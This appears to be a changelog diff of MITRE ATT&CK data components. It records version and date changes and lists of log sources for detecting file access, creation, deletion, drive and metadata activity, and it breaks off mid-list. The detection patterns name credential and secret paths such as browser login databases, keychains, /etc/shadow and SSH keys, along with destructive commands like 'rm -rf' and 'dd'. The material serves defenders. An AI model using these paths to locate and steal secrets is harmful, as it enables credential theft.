| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.2 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0064', 'external_id': 'DC0064'}] | |
| x_mitre_log_sources | [{'name': 'Command', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of realmd, samba-tool, or ldapmodify with user-related arguments'}, {'name': 'macos:unifiedlog', 'channel': 'dsconfigad or dscl with create or append options for AD-bound users'}, {'name': 'EDR:AMSI', 'channel': 'None'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog or journalctl'}, {'name': 'WinEventLog:PowerShell', 'channel': 'Get-ADTrust|GetAllTrustRelationships'}, {'name': 'gcp:audit', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of script interpreters by systemd timer (ExecStart)'}, {'name': 'AWS:CloudTrail', 'channel': 'InvokeFunction'}, {'name': 'm365:unified', 'channel': 'Automated forwarding or file sync initiated by a logic app'}, {'name': 'WinEventLog:PowerShell', 'channel': 'EventCode=4104'}, {'name': 'linux:syslog', 'channel': 'Suspicious script or command execution targeting browser folders'}, {'name': 'esxi:shell', 'channel': 'snapshot create/copy, esxcli'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands like systemctl stop |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--73691708-ffb5-4e29-906d-f485f6fa7089 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:11:30.145000+00:00 | 2025-10-21 15:14:34.849000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.2 | 2.0 |
Current version: 2.0
Version changed from: 1.0 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0108', 'external_id': 'DC0108'}] | |
| x_mitre_log_sources | [{'name': 'Operational Databases', 'channel': 'None'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-25 14:39:55.892000+00:00 | 2025-10-21 15:10:28.402000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.0 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0042', 'external_id': 'DC0042'}] | |
| x_mitre_log_sources | [{'name': 'Drive', 'channel': 'None'}, {'name': 'WinEventLog:System', 'channel': 'Kernel-PnP 410/400 device install, disk added'}, {'name': 'auditd:SYSCALL', 'channel': 'mknod,open,openat'}, {'name': 'macos:unifiedlog', 'channel': 'mounted|appeared|DA: disk* attached'}, {'name': 'WinEventLog:Microsoft-Windows-Partition/Diagnostic', 'channel': 'EventCode=1006'}, {'name': 'auditd:SYSCALL', 'channel': 'Removable media mount notification'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.diskarbitration'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=1006,10001'}, {'name': 'auditd:SYSCALL', 'channel': 'device event logs'}, {'name': 'linux:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + File Read'}, {'name': 'WinEventLog:Microsoft-Windows-DriverFrameworks-UserMode/Operational', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'udev events or drive enumeration involving TinyPilot paths or device classes'}, {'name': 'linux:syslog', 'channel': 'Device attach logs containing TinyPilot/PiKVM identifiers'}, {'name': 'macos:unifiedlog', 'channel': 'Hardware enumeration events via IOKit or USBMuxd showing TinyPilot or unknown keyboard/mouse'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=2003'}, {'name': 'auditd:SYSCALL', 'channel': 'Kernel Device Events - USB Block Devices'}, {'name': 'maos:osquery', 'channel': 'mount_events'}, {'name': 'macos:unifiedlog', 'channel': 'Volume Mount + Process Trace + File Read'}, {'name': 'WinEventLog:System', 'channel': 'EventCode=20001/20003'}, {'name': 'journald:systemd', 'channel': 'udisks2 or udevd logs'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "USBMSC"\''}, {'name': 'WinEventLog:System', 'channel': '20001-20003'}, {'name': 'linux:syslog', 'channel': "New HID device enumeration with type 'keyboard' followed by immediate input injection"}, {'name': 'macos:unifiedlog', 'channel': 'New IOUSB keyboard/HID device enumerated with suspicious attributes'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:36.536000+00:00 | 2025-10-21 15:14:37.342000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0046', 'external_id': 'DC0046'}] | |
| x_mitre_log_sources | [{'name': 'Drive', 'channel': 'None'}, {'name': 'networkdevice:runtime', 'channel': 'Firmware image uploaded via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk write access via \\\\.\\PhysicalDrive* or \\\\.\\C:'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit disk write calls targeting raw devices'}, {'name': 'linux:syslog', 'channel': 'Block device write errors or unusual bootloader activity'}, {'name': 'networkdevice:firmware', 'channel': 'Unexpected firmware image upload events via TFTP/FTP/SCP'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw write attempts targeting \\\\.\\PhysicalDrive0 or sector 0 (MBR/partition table)'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write to EFI/boot partition sectors'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Raw disk writes targeting \\\\.\\PhysicalDrive* or MBR locations'}, {'name': 'macos:unifiedlog', 'channel': 'IOKit raw disk write activity targeting physical devices'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:12:35.797000+00:00 | 2025-10-22 19:03:17.198000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--61bbbf27-f7c3-46ba-a6bc-48ae76928065 |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_domains | ics-attack |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0055', 'external_id': 'DC0055'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'm365:unified', 'channel': 'FileAccessed, MailboxAccessed'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, or stat of browser config files'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/*/Safari or Chrome directories by non-browser processes'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4663'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'gcp:audit', 'channel': 'Write operations to storage'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS access logs'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_OPEN: Open of .dylib/.so in user-writable locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File access attempt on /tmp/krb5cc_* or /tmp/krb5.ccache'}, {'name': 'macos:unifiedlog', 'channel': 'Kerberos framework calls to API:{uuid} cache outside normal process lineage'}, {'name': 'auditd:SYSCALL', 'channel': 'openat'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656, 4663'}, {'name': 'auditd:FILE', 'channel': '/home/*/.mozilla/firefox/*/logins.json OR /home/*/.config/google-chrome/*/Login Data'}, {'name': 'macos:unifiedlog', 'channel': '~/Library/Application Support/Google/Chrome/*/Login Data OR ~/Library/Application Support/Firefox/*/logins.json'}, {'name': 'auditd:SYSCALL', 'channel': 'open'}, {'name': 'auditd:FILE', 'channel': '/proc/*/mem read attempt'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656,4663'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4670, 4663'}, {'name': 'auditd:PATH', 'channel': 'Read access to known backup software configuration files (e.g., /etc/rsnapshot.conf, /opt/veeam/config.ini)'}, {'name': 'macos:unifiedlog', 'channel': 'Read access to Time Machine plist files or CCC configurations in ~/Library/Preferences/'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4656'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=5145, 4663'}, {'name': 'linux:syslog', 'channel': 'auth.log or custom tool logs'}, {'name': 'fs:fsusage', 'channel': 'file'}, {'name': 'linux:syslog', 'channel': '/var/log/syslog'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open, flock, fcntl, unlink'}, {'name': 'fs:fsusage', 'channel': 'File Access Monitor'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive files'}, {'name': 'macos:unifiedlog', 'channel': 'file read of sensitive directories'}, {'name': 'esxi:hostd', 'channel': 'datastore file access'}, {'name': 'auditd:SYSCALL', 'channel': 'Unusual processes accessing or modifying cookie databases'}, {'name': 'macos:unifiedlog', 'channel': 'Abnormal process access to Safari or Chrome cookie storage'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH records referencing /dev/video*'}, {'name': 'macos:endpointsecurity', 'channel': 'open: Process opens AppleCamera/IOUSB device nodes or AVFoundation frameworks'}, {'name': 'ebpf:syscalls', 'channel': 'container_file_activity'}, {'name': 'fs:fsusage', 'channel': 'Disk Activity Tracing'}, {'name': 'macos:keychain', 'channel': 'Access to Keychain DB or system.keychain'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read: /etc/ssl/, /etc/pki/, ~/.pki/nssdb/'}, {'name': 'macos:keychain', 'channel': '~/Library/Keychains, /Library/Keychains'}, {'name': 'm365:unified', 'channel': 'Bulk downloads or API extractions from Microsoft-hosted data repositories (e.g., Dynamics 365)'}, {'name': 'auditd:PATH', 'channel': 'open: Access to sensitive log files (/var/log/auth.log, /var/log/secure, /var/log/syslog)'}, {'name': 'macos:unifiedlog', 'channel': 'open: Access to /var/log/system.log or related security event logs'}, {'name': 'azure:activity', 'channel': 'CollectGuestLogs: Unexpected collection of guest logs by Azure VM Agent outside normal maintenance windows'}, {'name': 'esxi:hostd', 'channel': 'read: Access to sensitive log files by non-admin users'}, {'name': 'auditd:SYSCALL', 'channel': 'Processes reading credential or token cache files'}, {'name': 'auditd:SYSCALL', 'channel': 'read/open of sensitive file directories'}, {'name': 'esxi:hostd', 'channel': 'datastore/log file access'}, {'name': 'fs:fsusage', 'channel': 'filesystem activity'}, {'name': 'WinEventLog:Microsoft-Windows-Windows Defender/Operational', 'channel': 'Suspicious file execution on removable media path'}, {'name': 'auditd:PATH', 'channel': 'path'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive config or secret files'}, {'name': 'macos:unifiedlog', 'channel': 'open/read of *.plist or .env files'}, {'name': 'ebpf:syscalls', 'channel': 'open/read on secret mount paths'}, {'name': 'CloudTrail:GetObject', 'channel': 'sensitive credential files in buckets or local image storage'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories'}, {'name': 'macos:unifiedlog', 'channel': 'read of user document directories'}, {'name': 'esxi:syslog', 'channel': 'guest OS outbound transfer logs'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'fs:fsusage', 'channel': 'Filesystem Call Monitoring'}, {'name': 'esxi:hostd', 'channel': 'vSphere File API Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read: Access to /proc/self/status with focus on TracerPID field'}, {'name': 'fs:fsusage', 'channel': 'read/write'}, {'name': 'esxis:vmkernel', 'channel': 'Datastore Access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read access to ~/.bash_history'}, {'name': 'macos:endpointsecurity', 'channel': 'open or read syscall to ~/.bash_history'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains/login.keychain-db'}, {'name': 'auditd:SYSCALL', 'channel': 'open,read'}, {'name': 'macos:unifiedlog', 'channel': 'filesystem and process events'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read system calls to ~/.bash_history or /etc/shadow'}, {'name': 'macos:unifiedlog', 'channel': 'read access to ~/Library/Keychains or history files by terminal processes'}, {'name': 'auditd:SYSCALL', 'channel': 'read of /run/secrets or docker volumes by non-entrypoint process'}, {'name': 'macos:unifiedlog', 'channel': 'access to /Volumes/SharePoint or network mount'}, {'name': 'auditd:SYSCALL', 'channel': 'Reads of ~/.bash_history, ~/.mozilla, or access to /dev/input'}, {'name': 'macos:unifiedlog', 'channel': 'Access to ~/Library/Safari/Bookmarks.plist or recent files'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read'}, {'name': 'macos:unifiedlog', 'channel': 'access to keychain database'}, {'name': 'auditd:PATH', 'channel': 'file read'}, {'name': 'linux:syslog', 'channel': 'kernel messages related to cryptographic operations, module loading, and filesystem access patterns'}, {'name': 'fs:fsevents', 'channel': 'file system events indicating access to system configuration files and environmental information sources'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open, es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Access to named pipes or FIFO in /tmp or /dev/shm by unexpected processes'}, {'name': 'auditd:SYSCALL', 'channel': 'open or read to browser cookie storage'}, {'name': 'fs:fsusage', 'channel': 'file open for known browser cookie paths'}, {'name': 'auditd:SYSCALL', 'channel': 'open, read, mount'}, {'name': 'fs:fsusage', 'channel': 'file reads/writes from /Volumes/'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - file provider subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'file'}, {'name': 'kubernetes:audit', 'channel': 'GET or LIST requests to /var/run/secrets/kubernetes.io/serviceaccount/ followed by access to the Kubernetes API server'}, {'name': 'auditd:SYSCALL', 'channel': 'Access to /var/lib/sss/secrets/secrets.ldb or .secrets.mkey'}, {'name': 'fs:quarantine', 'channel': '/var/log/quarantine.log'}, {'name': 'desktop:file_manager', 'channel': 'nautilus, dolphin, or gvfs logs'}, {'name': 'linux:osquery', 'channel': '/proc/*/maps access'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read of sensitive directories (/etc, /home/*)'}, {'name': 'macos:unifiedlog', 'channel': 'read/write of user documents prior to upload'}, {'name': 'esxi:hostd', 'channel': 'file copy or datastore upload via HTTPS'}, {'name': 'macos:unifiedlog', 'channel': 'open/read access to private key files (id_rsa, *.pem, *.p12)'}, {'name': 'linux:osquery', 'channel': 'None'}, {'name': 'macos:osquery', 'channel': 'None'}, {'name': 'fs:fileevents', 'channel': 'File system access events with kFSEventStreamEventFlagItemRemoved, kFSEventStreamEventFlagItemRenamed flags for environmental artifact collection (/System/Library, /usr/sbin, plist files)'}, {'name': 'auditd:FS', 'channel': 'read: File access to /proc/modules or /sys/module/'}, {'name': 'macos:unifiedlog', 'channel': 'read: File access to /System/Library/Extensions/ or related kernel extension paths'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'auditd:SYSCALL', 'channel': 'open/read on ~/.local/share/keepassxc/* OR ~/.password-store/*'}, {'name': 'macos:unifiedlog', 'channel': '*.opvault OR *.ldb OR *.kdbx'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:07.996000+00:00 | 2025-10-21 15:14:35.674000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0039', 'external_id': 'DC0039'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=11'}, {'name': 'auditd:SYSCALL', 'channel': 'creat'}, {'name': 'macos:unifiedlog', 'channel': 'file write'}, {'name': 'WinEventLog:Sysmon', 'channel': 'Modification of .asar in /opt or ~/.config directories'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Modification of app.asar inside .app bundle'}, {'name': 'auditd:FILE', 'channel': "File creation with name starting with '.'"}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of browser extension .plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'open or creat syscalls targeting excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'file creation in AV exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'file creation/modification'}, {'name': 'macos:unifiedlog', 'channel': 'file write/create'}, {'name': 'esxi:vmkernel', 'channel': 'file write'}, {'name': 'snmp:syslog', 'channel': 'firmware write/log event'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename: Writes in $HOME/Downloads, /tmp, ~/.cache with exe/script/archive/office extensions'}, {'name': 'fs:fsevents', 'channel': 'Create in /Users/*/Downloads or /private/var/folders/* with quarantine attribute'}, {'name': 'macos:unifiedlog', 'channel': 'file events'}, {'name': 'esxi:vmkernel', 'channel': 'VMFS file creation'}, {'name': 'auditd:SYSCALL', 'channel': 'write/open, FIM audit'}, {'name': 'fs:fsusage', 'channel': 'open/write/exec calls'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .plist under /Library/Managed Preferences/'}, {'name': 'fs:fileevents', 'channel': 'creat'}, {'name': 'fs:fsusage', 'channel': 'disk activity on /Library/LaunchAgents or LaunchDaemons'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'auditd:SYSCALL', 'channel': 'open: Write to ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'creation of ~/.vscode-cli/code_tunnel.json'}, {'name': 'macos:unifiedlog', 'channel': 'create/modify dylib files in monitored directories'}, {'name': 'auditd:SYSCALL', 'channel': 'write'}, {'name': 'linux:Sysmon', 'channel': 'New files in /tmp, /var/tmp, $HOME/.cache, executed within TimeWindow after browser HTTP fetch'}, {'name': 'macos:unifiedlog', 'channel': 'New files written to /var/folders, /tmp, ~/Library/Caches, or ~/Downloads by browser context or its children'}, {'name': 'auditd:FILE', 'channel': 'create: New file created in system binaries or temp directories'}, {'name': 'macos:unifiedlog', 'channel': 'File created in ~/Library/LaunchAgents or executable directories'}, {'name': 'auditd:SYSCALL', 'channel': 'open, unlink, rename: File creation or deletion involving critical stored data'}, {'name': 'macos:unifiedlog', 'channel': 'Process wrote large .mov/.mp4 in user temp/hidden dirs'}, {'name': 'macos:unifiedlog', 'channel': 'logd:file write'}, {'name': 'fs:fsusage', 'channel': 'File IO'}, {'name': 'auditd:SYSCALL', 'channel': 'creat, open, write on /etc/systemd/system and /usr/lib/systemd/system'}, {'name': 'macos:unified', 'channel': 'File creation'}, {'name': 'macos:unifiedlog', 'channel': 'Attachment files written to ~/Downloads or temporary folders'}, {'name': 'fs:fsusage', 'channel': 'file activity'}, {'name': 'CloudTrail:PutObject', 'channel': 'PutObject'}, {'name': 'auditd:PATH', 'channel': 'Creation of files with extensions .sql, .csv, .sqlite, especially in user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Writes of .sql/.csv/.xlsx files to user documents/downloads'}, {'name': 'auditd:PATH', 'channel': 'New .py/.js/.sh files written to ~/.local/, ~/.cache/, or /tmp/ within 5 min of package install'}, {'name': 'auditd:SYSCALL', 'channel': 'write, open, or rename to /etc/systemd/system/*.service'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of .zip, .gz, .bz2 files in /tmp, /var/tmp, or /home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .gz, .dmg archives in /Users, /tmp, or application directories'}, {'name': 'fs:fsusage', 'channel': 'file open/write'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_CREATE: path under /Users/*/(Downloads|Desktop|Library/*/Containers|Library/Group Containers) AND extension in SuspiciousExtensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open/create/rename: name in (/home/*/Downloads/*|/tmp/*|/run/user/*|/media/*) AND ext in SuspiciousExtensions'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of archive files in /tmp, /var/tmp, or user home directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip, .dmg, .tar.gz files in /Users, /tmp, or application directories'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'macos:unifiedlog', 'channel': 'File Events'}, {'name': 'auditd:SYSCALL', 'channel': 'File creations of *.qcow2, *.vdi, *.vmdk outside standard VM directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation or modification of postinstall scripts within .pkg or .mpkg contents'}, {'name': 'auditd:SYSCALL', 'channel': 'open: File creation under /tmp, /var/tmp, ~/.cache with executable bit or shell shebang'}, {'name': 'macos:unifiedlog', 'channel': 'create: New files in /tmp or ~/Library/Application Support/* with executable or script extensions'}, {'name': 'auditd:SYSCALL', 'channel': 'open, write, unlink'}, {'name': 'WinEventLog:Sysmon', 'channel': 'File creation of suspicious scripts/binaries in temporary directories'}, {'name': 'macos:unifiedlog', 'channel': 'File creation of unsigned binaries/scripts in user cache or download directories'}, {'name': 'auditd:SYSCALL', 'channel': 'File creation events in /var/mail or /var/spool/mail exceeding baseline thresholds'}, {'name': 'fs:fsusage', 'channel': 'create: Attachment file creation in ~/Library/Mail directories'}, {'name': 'WinEventLog:Microsoft-Windows-Shell-Core', 'channel': 'New startup folder shortcut or binary placed in Startup directory'}, {'name': 'auditd:SYSCALL', 'channel': 'write or create file after .bash_history access'}, {'name': 'auditd:SYSCALL', 'channel': 'new file created in /var/www/html, /srv/http, or similar web root'}, {'name': 'fs:launchdaemons', 'channel': 'file_create'}, {'name': 'auditd:PATH', 'channel': 'mount target path within /proc/*'}, {'name': 'macos:fsevents', 'channel': '/Library/StartupItems/, ~/Library/LaunchAgents/'}, {'name': 'fs:fsusage', 'channel': 'write or chmod to ~/Library/LaunchAgents/*.plist'}, {'name': 'auditd:PATH', 'channel': 'creation of .so files in non-standard directories (e.g., /tmp, /home/*)'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files with anomalous headers and entropy levels in /tmp or user directories'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of files with anomalous headers and entropy values'}, {'name': 'auditd:SYSCALL', 'channel': 'Access or modification to /lib/modules or creation of .ko files'}, {'name': 'fs:fsevents', 'channel': 'Directory events (kFSEventStreamEventFlagItemCreated)'}, {'name': 'gcp:workspaceaudit', 'channel': 'drive.activity logs'}, {'name': 'fs:fileevents', 'channel': 'create/write/rename in user-writable paths'}, {'name': 'auditd:PATH', 'channel': 'WRITE: Drop of binaries/scripts in ~/.local, /tmp, or /opt tool dirs'}, {'name': 'macos:osquery', 'channel': 'CREATE/MODIFY: Creation of LaunchAgents/Daemons plists in user/system locations'}, {'name': 'auditd:SYSCALL', 'channel': 'open,create'}, {'name': 'auditd:FILE', 'channel': 'Creation of hidden files (.*) in sensitive directories (/etc, /var, /usr/bin)'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of LaunchAgents/LaunchDaemons in hidden or non-standard directories'}, {'name': 'auditd:FILE', 'channel': 'create: Creation of files ending in .tar, .gz, .bz2, .zip in /tmp or /var/tmp'}, {'name': 'macos:unifiedlog', 'channel': 'Creation of .zip or .dmg files in user-accessible or temporary directories'}, {'name': 'fs:fsusage', 'channel': 'file write'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_open'}, {'name': 'macos:unifiedlog', 'channel': 'file create or modify in /etc/emond.d/rules or /private/var/db/emondClients'}, {'name': 'auditd:SYSCALL', 'channel': 'open,creat,rename,write'}, {'name': 'macos:unifiedlog', 'channel': 'Writes under ~/Library/Application Support/Code*/extensions or JetBrains plugins'}, {'name': 'AWS:CloudTrail', 'channel': 'PutObject'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:18.072000+00:00 | 2025-10-21 19:32:14.744000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0040', 'external_id': 'DC0040'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat on service binaries or data targets'}, {'name': 'auditd:SYSCALL', 'channel': 'file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'esxi:shell', 'channel': 'shell history'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=23'}, {'name': 'auditd:SYSCALL', 'channel': 'PATH'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'esxi:hostd', 'channel': 'delete action'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, openat, write'}, {'name': 'macos:unifiedlog', 'channel': 'exec rm -rf|dd if=/dev|srm|file unlink'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, unlinkat, rmdir'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink, rename, open'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=23'}, {'name': 'fs:fsusage', 'channel': 'unlink, fs_delete'}, {'name': 'docker:daemon', 'channel': 'container file operations'}, {'name': 'esxi:hostd', 'channel': 'rm, clearlogs, logrotate'}, {'name': 'esxi:hostd', 'channel': 'Datastore file operations'}, {'name': 'macos:osquery', 'channel': 'CREATE, DELETE, WRITE: Stored data manipulation attempts by unauthorized processes'}, {'name': 'auditd:SYSCALL', 'channel': 'unlink/unlinkat'}, {'name': 'WinEventLog:Microsoft-Windows-Backup', 'channel': 'Windows Backup Catalog deletion or catalog corruption'}, {'name': 'auditd:CONFIG_CHANGE', 'channel': '/etc/fstab, /etc/systemd/*'}] |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_source_ref | x-mitre-data-source--509ed41e-ca42-461e-9058-24602256daf9 |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-04-18 15:10:21.434000+00:00 | 2025-10-21 15:14:36.450000+00:00 |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| x_mitre_version | 1.1 | 2.0 |
Current version: 2.0
Version changed from: 1.1 → 2.0
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | [{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0059', 'external_id': 'DC0059'}] | |
| x_mitre_log_sources | [{'name': 'File', 'channel': 'None'}, {'name': 'linux:osquery', 'channel': 'event-based'}, {'name': 'WinEventLog:Microsoft-Windows-CodeIntegrity/Operational', 'channel': 'Invalid/Unsigned image when developer tool launches newly installed binaries'}, {'name': 'journald:package', 'channel': 'dpkg/apt or yum/dnf transaction logs (install/update of build tools)'}, {'name': 'linux:osquery', 'channel': 'file_events, hash'}, {'name': 'macos:unifiedlog', 'channel': 'softwareupdated/homebrew/install logs, pkginstalld events'}, {'name': 'macos:unifiedlog', 'channel': 'AMFI or Gatekeeper signature/notarization failures for newly installed dev components'}, {'name': 'auditd:SYSCALL', 'channel': 'Inotify watch creation or auditctl changes on /etc/cron* or /lib/systemd/system/'}, {'name': 'linux:syslog', 'channel': 'Discrepancies in _VBA_PROJECT p-code vs source code extracted with oletools/pcodedmp'}, {'name': 'macos:unifiedlog', 'channel': 'Detection of altered _VBA_PROJECT or PerformanceCache streams'}, {'name': 'EDR:file', 'channel': 'File Metadata Inspection (Low String Entropy, Missing PDB)'}, {'name': 'linux:osquery', 'channel': 'hash, elf_info, file_metadata'}, {'name': 'macos:osquery', 'channel': 'code_signing, file_metadata'}, {'name': 'WinEventLog:Windows Defender', 'channel': 'Operational log'}, {'name': 'macos:unifiedlog', 'channel': 'subsystem:syspolicyd'}, {'name': 'macos:unifiedlog', 'channel': 'File metadata updated with UF_HIDDEN flag'}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=15'}, {'name': 'auditd:PATH', 'channel': 'file path matches exclusion directories'}, {'name': 'auditd:SYSCALL', 'channel': 'path'}, {'name': 'auditd:PATH', 'channel': 'PATH'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_file_rename_t or es_event_file_write_t'}, {'name': 'linux:osquery', 'channel': 'file_events'}, {'name': 'fs:fileevents', 'channel': '/var/log/install.log'}, {'name': 'auditd:SYSCALL', 'channel': 'file write after sleep delay'}, {'name': 'esxi:vmkernel', 'channel': 'Upload of file to datastore'}, {'name': 'ebpf:syscalls', 'channel': 'Unexpected container volume unmount + file deletion'}, {'name': 'macos:osquery', 'channel': 'file_events'}, {'name': 'EDR:file', 'channel': 'File Metadata Analysis (PE overlays, entropy)'}, {'name': 'linux:osquery', 'channel': 